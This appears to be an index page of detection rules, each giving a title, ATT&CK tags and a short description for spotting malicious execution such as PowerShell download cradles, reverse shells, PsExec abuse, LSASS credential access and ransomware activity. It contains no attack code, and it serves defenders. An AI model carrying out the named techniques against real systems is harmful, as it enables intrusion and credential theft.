PowerShell Called from an Executable Version Mismatch

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell called from an executable by the version mismatch method

Read More
PowerShell Create Local User

Aug 12, 2024 · attack.execution attack.t1059.001 attack.persistence attack.t1136.001 ·
Share on:

Detects creation of a local user via PowerShell

Read More
PowerShell Credential Prompt

Aug 12, 2024 · attack.credential-access attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell calling a credential prompt

Read More
PowerShell Downgrade Attack - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0

Read More
PowerShell Download and Execution Cradles

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects PowerShell download and execution cradles.

Read More
PowerShell Download Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects a Powershell process that contains download commands in its command line string

Read More
PowerShell DownloadFile

Aug 12, 2024 · attack.execution attack.t1059.001 attack.command-and-control attack.t1104 attack.t1105 ·
Share on:

Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line

Read More
Powershell Execute Batch Script

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system

Read More
Powershell Inline Execution From A File

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects inline execution of PowerShell code from a file

Read More
Powershell MsXml COM Object

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

Read More
PowerShell PSAttack

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of PSAttack PowerShell hack tool

Read More
PowerShell Remote Session Creation

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system

Read More
PowerShell Script Run in AppData

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder

Read More
PowerShell Scripts Installed as Services

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects powershell script installed as a Service

Read More
PowerShell Scripts Installed as Services - Security

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects powershell script installed as a Service

Read More
PowerShell ShellCode

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 attack.execution attack.t1059.001 ·
Share on:

Detects Base64 encoded Shellcode

Read More
PowerShell Web Download

Aug 12, 2024 · attack.command-and-control attack.execution attack.t1059.001 attack.t1105 ·
Share on:

Detects suspicious ways to download files or content using PowerShell

Read More
Powershell XML Execute Command

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code

Read More
PowerView PowerShell Cmdlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects Cmdlet names from PowerView of the PowerSploit exploitation framework.

Read More
PrinterNightmare Mimikatz Driver Name

Aug 12, 2024 · attack.execution attack.t1204 cve.2021-1675 cve.2021-34527 ·
Share on:

Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527

Read More
Process Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the execution of "wmic" with the "process" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches.

Read More
ProcessHacker Privilege Elevation

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1543.003 attack.t1569.002 ·
Share on:

Detects a ProcessHacker tool that elevated privileges to a very high level

Read More
Proxy Execution Via Wuauclt.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·
Share on:

Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution.

Read More
PSAsyncShell - Asynchronous TCP Reverse Shell

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell

Read More
PSExec and WMI Process Creations Block

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1047 attack.t1569.002 ·
Share on:

Detects blocking of process creations originating from PSExec and WMI commands

Read More
Psexec Execution

Aug 12, 2024 · attack.execution attack.t1569 attack.t1021 ·
Share on:

Detects user accept agreement execution in psexec commandline

Read More
PSEXEC Remote Execution File Artefact

Aug 12, 2024 · attack.lateral-movement attack.privilege-escalation attack.execution attack.persistence attack.t1136.002 attack.t1543.003 attack.t1570 attack.s0029 ·
Share on:

Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system

Read More
PsExec Service Child Process Execution as LOCAL SYSTEM

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)

Read More
PsExec Service Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution

Read More
PsExec Service File Creation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects default PsExec service filename which indicates PsExec service installation and execution

Read More
PsExec Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects PsExec service installation and execution events

Read More
PsExec Tool Execution From Suspicious Locations - PipeName

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack

Read More
PUA - AdvancedRun Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1564.003 attack.t1134.002 attack.t1059.003 ·
Share on:

Detects the execution of AdvancedRun utility

Read More
PUA - CSExec Default Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.execution attack.t1569.002 ·
Share on:

Detects default CSExec pipe creation

Read More
PUA - CsExec Execution

Aug 12, 2024 · attack.resource-development attack.t1587.001 attack.execution attack.t1569.002 ·
Share on:

Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative

Read More
PUA - NirCmd Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity

Read More
PUA - NirCmd Execution As LOCAL SYSTEM

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of NirCmd tool for command execution as SYSTEM user

Read More
PUA - NSudo Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of NSudo tool for command execution

Read More
PUA - PAExec Default Named Pipe

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects PAExec default named pipe

Read More
PUA - Radmin Viewer Utility Execution

Aug 12, 2024 · attack.execution attack.lateral-movement attack.t1072 ·
Share on:

Detects the execution of Radmin which can be abused by an adversary to remotely control Windows machines

Read More
PUA - RemCom Default Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.execution attack.t1569.002 ·
Share on:

Detects default RemCom pipe creation

Read More
PUA - RunXCmd Execution

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts

Read More
PUA - Wsudo Suspicious Execution

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1059 ·
Share on:

Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)

Read More
Python Spawning Pretty TTY on Windows

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects python spawning a pretty tty

Read More
Qakbot Rundll32 Exports Execution

Aug 12, 2024 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects specific process tree behavior of a "rundll32" execution with exports linked with Qakbot activity.

Read More
Qakbot Rundll32 Fake DLL Extension Execution

Aug 12, 2024 · attack.defense-evasion attack.execution detection.emerging-threats ·
Share on:

Detects specific process tree behavior of a "rundll32" execution where the DLL doesn't have the ".dll" extension. This is often linked with potential Qakbot activity.

Read More
Query Usage To Exfil Data

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of "query.exe" a system binary to exfil information such as "sessions" and "processes" for later use

Read More
Read Contents From Stdin Via Cmd.EXE

Aug 12, 2024 · attack.execution attack.t1059.003 ·
Share on:

Detect the use of "<" to read and potentially execute a file via cmd.exe

Read More
Regsvr32 DLL Execution With Uncommon Extension

Aug 12, 2024 · attack.defense-evasion attack.t1574 attack.execution ·
Share on:

Detects a "regsvr32" execution where the DLL doesn't contain a common file extension.

Read More
RemCom Service File Creation

Aug 12, 2024 · attack.execution attack.t1569.002 attack.s0029 ·
Share on:

Detects default RemCom service filename which indicates RemCom service installation and execution

Read More
RemCom Service Installation

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects RemCom service installation and execution events

Read More
Remote DLL Load Via Rundll32.EXE

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects a remote DLL load event via "rundll32.exe".

Read More
Remote LSASS Process Access Through Windows Remote Management

Aug 12, 2024 · attack.credential-access attack.execution attack.t1003.001 attack.t1059.001 attack.lateral-movement attack.t1021.006 attack.s0002 ·
Share on:

Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.

Read More
Remote PowerShell Session (PS Classic)

Aug 12, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.006 ·
Share on:

Detects remote PowerShell sessions

Read More
Remote PowerShell Session (PS Module)

Aug 12, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.006 ·
Share on:

Detects remote PowerShell sessions

Read More
Remote PowerShell Session Host Process (WinRM)

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1021.006 ·
Share on:

Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).

Read More
Remote PowerShell Sessions Network Connections (WinRM)

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986

Read More
Remotely Hosted HTA File Executed Via Mshta.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.005 ·
Share on:

Detects execution of the "mshta" utility with an argument containing the "http" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file

Read More
Renamed FTP.EXE Execution

Aug 12, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields

Read More
Renamed Jusched.EXE Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1036.003 ·
Share on:

Detects the execution of a renamed "jusched.exe" as seen used by the cobalt group

Read More
Renamed PsExec Service Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators

Read More
REvil Kaseya Incident Malware Patterns

Aug 12, 2024 · attack.execution attack.t1059 attack.g0115 detection.emerging-threats ·
Share on:

Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)

Read More
Rorschach Ransomware Execution Activity

Aug 12, 2024 · attack.execution attack.t1059.003 attack.t1059.001 attack.defense-evasion detection.emerging-threats ·
Share on:

Detects Rorschach ransomware execution activity

Read More
Ruby Inline Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.

Read More
Run PowerShell Script from Redirected Input Stream

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects PowerShell script execution via input stream redirect

Read More
Rundll32 Execution Without Parameters

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1570 attack.execution attack.t1569.002 ·
Share on:

Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module

Read More
Rundll32 Internet Connection

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 attack.execution ·
Share on:

Detects a rundll32 that communicates with public IP addresses

Read More
Rundll32 UNC Path Execution

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1021.002 attack.t1218.011 ·
Share on:

Detects rundll32 execution where the DLL is located on a remote location (share)

Read More
Scheduled Cron Task/Job - Linux

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.t1053.003 ·
Share on:

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

Read More
Scheduled Cron Task/Job - MacOs

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.t1053.003 ·
Share on:

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

Read More
Scheduled Task Creation Via Schtasks.EXE

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.t1053.005 attack.s0111 car.2013-08-001 stp.1u ·
Share on:

Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.

Read More
Scheduled Task Executing Payload from Registry

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.

Read More
Schtasks From Suspicious Folders

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects scheduled task creations that have suspicious action command and folder combinations

Read More
Script Event Consumer Spawning Process

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects a suspicious child process of Script Event Consumer (scrcons.exe).

Read More
Script Interpreter Execution From Suspicious Folder

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects a suspicious script execution in temporary folders or folders accessible by environment variables

Read More
Service Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

An adversary might use WMI to check if a certain remote service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable

Read More
Service Started/Stopped Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects usage of wmic to start or stop a service

Read More
Service StartupType Change Via PowerShell Set-Service

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the use of the PowerShell "Set-Service" cmdlet to change the startup type of a service to "disabled" or "manual"

Read More
Service StartupType Change Via Sc.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1562.001 ·
Share on:

Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand"

Read More
Shell Execution Of Process Located In Tmp Directory

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of shells from a parent process located in a temporary (/tmp) directory

Read More
Shell32 DLL Execution in Suspicious Directory

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.011 ·
Share on:

Detects shell32.dll executing a DLL in a suspicious directory

Read More
Silence.EDA Detection

Aug 12, 2024 · attack.execution attack.t1059.001 attack.command-and-control attack.t1071.004 attack.t1572 attack.impact attack.t1529 attack.g0091 attack.s0363 ·
Share on:

Detects Silence EmpireDNSAgent as described in the Group-IP report

Read More
Sliver C2 Default Service Installation

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands

Read More
smbexec.py Service Installation

Aug 12, 2024 · attack.lateral-movement attack.execution attack.t1021.002 attack.t1569.002 ·
Share on:

Detects the use of smbexec.py tool by detecting a specific service installation

Read More
SNAKE Malware Installer Name Indicators

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects filename indicators associated with the SNAKE malware as reported by CISA in their report

Read More
SNAKE Malware Kernel Driver File Indicator

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects SNAKE malware kernel driver file indicator

Read More
SNAKE Malware WerFault Persistence File Creation

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects the creation of a file named "WerFault.exe" in the WinSxS directory by a non-system process, which can be indicative of potential SNAKE malware activity

Read More
Sofacy Trojan Loader Activity

Aug 12, 2024 · attack.defense-evasion attack.execution attack.g0007 attack.t1059.003 attack.t1218.011 car.2013-10-002 detection.emerging-threats ·
Share on:

Detects Trojan loader activity as used by APT28

Read More
Space After Filename

Aug 12, 2024 · attack.execution ·
Share on:

Detects space after filename

Read More
SQL Client Tools PowerShell Session Detection

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1127 ·
Share on:

This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

Read More
Start Windows Service Via Net.EXE

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects the usage of the "net.exe" command to start a service using the "start" flag

Read More
Successful Account Login Via WMI

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects successful logon attempts performed with WMI

Read More
Suspicious Activity in Shell Commands

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects suspicious shell commands used in various exploit codes (see references)

Read More
Suspicious Application Installed

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious application installed by looking at the added shortcut to the app resolver cache

Read More
Suspicious Binary In User Directory Spawned From Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 attack.g0046 car.2013-05-002 ·
Share on:

Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio)

Read More
Suspicious Browser Child Process - MacOS

Aug 12, 2024 · attack.initial-access attack.execution attack.t1189 attack.t1203 attack.t1059 ·
Share on:

Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.

Read More
Suspicious Child Process Of BgInfo.EXE

Aug 12, 2024 · attack.execution attack.t1059.005 attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

Read More
Suspicious Commands Linux

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects relevant commands often related to malware or hacking activity

Read More
Suspicious Csi.exe Usage

Aug 12, 2024 · attack.execution attack.t1072 attack.defense-evasion attack.t1218 ·
Share on:

Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'

Read More
Suspicious Digital Signature Of AppX Package

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects execution of AppX packages with known suspicious or malicious signature

Read More
Suspicious Electron Application Child Processes

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious child processes of electron apps (teams, discord, slack, etc.). This could be a potential sign of ".asar" file tampering (See reference section for more information) or binary execution proxy through specific CLI arguments (see related rule)

Read More
Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.001 attack.t1027 ·
Share on:

Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"

Read More
Suspicious Encoded PowerShell Command Line

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)

Read More
Suspicious Encoded Scripts in a WMI Consumer

Aug 12, 2024 · attack.execution attack.t1047 attack.persistence attack.t1546.003 ·
Share on:

Detects suspicious encoded payloads in WMI Event Consumers

Read More
Suspicious Execution Location Of Wermgr.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.

Read More
Suspicious Execution of Powershell with Base64

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Commandline to launch powershell with a base64 payload

Read More
Suspicious Execution via macOS Script Editor

Aug 12, 2024 · attack.t1566 attack.t1566.002 attack.initial-access attack.t1059 attack.t1059.002 attack.t1204 attack.t1204.001 attack.execution attack.persistence attack.t1553 attack.defense-evasion ·
Share on:

Detects when the macOS Script Editor utility spawns an unusual child process.

Read More
Suspicious File Characteristics Due to Missing Fields

Aug 12, 2024 · attack.execution attack.t1059.006 ·
Share on:

Detects Executables in the Downloads folder without FileVersion,Description,Product,Company likely created with py2exe

Read More
Suspicious File Created In PerfLogs

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects suspicious file based on their extension being created in "C:\PerfLogs". Note that this directory mostly contains ".etl" files

Read More
Suspicious File Creation In Uncommon AppData Folder

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs

Read More
Suspicious File Download From IP Via Curl.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file downloads directly from IP addresses using curl.exe

Read More
Suspicious File Download From IP Via Wget.EXE

Aug 12, 2024 · attack.execution ·
Share on:

Detects potentially suspicious file downloads directly from IP addresses using Wget.exe

Read More
Suspicious File Execution From Internet Hosted WebDav Share

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of the "net use" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files

Read More
Suspicious HH.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.execution attack.initial-access attack.t1047 attack.t1059.001 attack.t1059.003 attack.t1059.005 attack.t1059.007 attack.t1218 attack.t1218.001 attack.t1218.010 attack.t1218.011 attack.t1566 attack.t1566.001 ·
Share on:

Detects a suspicious execution of a Microsoft HTML Help (HH.exe)

Read More
Suspicious HWP Sub Processes

Aug 12, 2024 · attack.initial-access attack.t1566.001 attack.execution attack.t1203 attack.t1059.003 attack.g0032 ·
Share on:

Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation

Read More
Suspicious Installer Package Child Process

Aug 12, 2024 · attack.t1059 attack.t1059.007 attack.t1071 attack.t1071.001 attack.execution attack.command-and-control ·
Share on:

Detects the execution of suspicious child processes from macOS installer package parent process. This includes osascript, JXA, curl and wget amongst other interpreters

Read More
Suspicious Interactive PowerShell as SYSTEM

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context

Read More
Suspicious Java Children Processes

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects java process spawning suspicious children

Read More
Suspicious Microsoft Office Child Process

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1047 attack.t1204.002 attack.t1218.010 ·
Share on:

Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)

Read More
Suspicious Microsoft Office Child Process - MacOS

Aug 12, 2024 · attack.execution attack.persistence attack.t1059.002 attack.t1137.002 attack.t1204.002 ·
Share on:

Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution

Read More
Suspicious Modification Of Scheduled Tasks

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location Attackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on Instead they modify the task after creation to include their malicious payload

Read More
Suspicious Mshta.EXE Execution Patterns

Aug 12, 2024 · attack.execution attack.t1106 ·
Share on:

Detects suspicious mshta process execution patterns

Read More
Suspicious Nohup Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of binaries located in potentially suspicious locations via "nohup"

Read More
Suspicious Outlook Child Process

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects a suspicious process spawning from an Outlook process.

Read More
Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script

Aug 12, 2024 · attack.execution attack.persistence attack.t1059 ·
Share on:

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state

Read More
Suspicious PowerShell Download

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell download command

Read More
Suspicious PowerShell Download - PoshModule

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell download command

Read More
Suspicious PowerShell Download - Powershell Script

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell download command

Read More
Suspicious PowerShell Download and Execute Pattern

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)

Read More
Suspicious PowerShell Encoded Command Patterns

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains

Read More
Suspicious PowerShell IEX Execution Patterns

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious ways to run Invoke-Execution using IEX alias

Read More
Suspicious PowerShell Invocation From Script Engines

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious powershell invocations from interpreters or unusual programs

Read More
Suspicious PowerShell Invocations - Generic

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
Suspicious PowerShell Invocations - Generic - PowerShell Module

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation command parameters

Read More
Suspicious PowerShell Parameter Substring

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects suspicious PowerShell invocation with a parameter substring

Read More
Suspicious PowerShell Parent Process

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects a suspicious or uncommon parent processes of PowerShell

Read More
Suspicious PrinterPorts Creation (CVE-2020-1048)

Aug 12, 2024 · attack.persistence attack.execution attack.t1059.001 cve.2020-1048 detection.emerging-threats ·
Share on:

Detects new commands that add new printer port which point to suspicious file

Read More
Suspicious Process Created Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects WMIC executing "process call create" with suspicious calls to processes such as "rundll32", "regsrv32", etc.

Read More
Suspicious Program Names

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools

Read More
Suspicious RASdial Activity

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects suspicious process related to rasdial.exe

Read More
Suspicious Reconnaissance Activity Via GatherNetworkInfo.VBS

Aug 12, 2024 · attack.discovery attack.execution attack.t1615 attack.t1059.005 ·
Share on:

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

Read More
Suspicious Reverse Shell Command Line

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

Read More
Suspicious Runscripthelper.exe

Aug 12, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of powershell scripts via Runscripthelper.exe

Read More
Suspicious Scan Loop Network

Aug 12, 2024 · attack.execution attack.t1059 attack.discovery attack.t1018 ·
Share on:

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system

Read More
Suspicious Scheduled Task Creation

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 ·
Share on:

Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.

Read More
Suspicious Scheduled Task Creation Involving Temp Folder

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 ·
Share on:

Detects the creation of scheduled tasks that involves a temporary folder and runs only once

Read More
Suspicious Scheduled Task Name As GUID

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects creation of a scheduled task with a GUID like name

Read More
Suspicious Scheduled Task Update

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.persistence attack.t1053.005 ·
Share on:

Detects update to a scheduled task event that contain suspicious keywords.

Read More
Suspicious Scheduled Task Write to System32 Tasks

Aug 12, 2024 · attack.persistence attack.execution attack.t1053 ·
Share on:

Detects the creation of tasks from processes executed from suspicious locations

Read More
Suspicious Schtasks Execution AppData Folder

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask that executes a file from C:\Users<USER>\AppData\Local

Read More
Suspicious Schtasks Schedule Type With High Privileges

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects scheduled task creations or modification to be run with high privileges on a suspicious schedule type

Read More
Suspicious Schtasks Schedule Types

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects scheduled task creations or modification on a suspicious schedule type

Read More
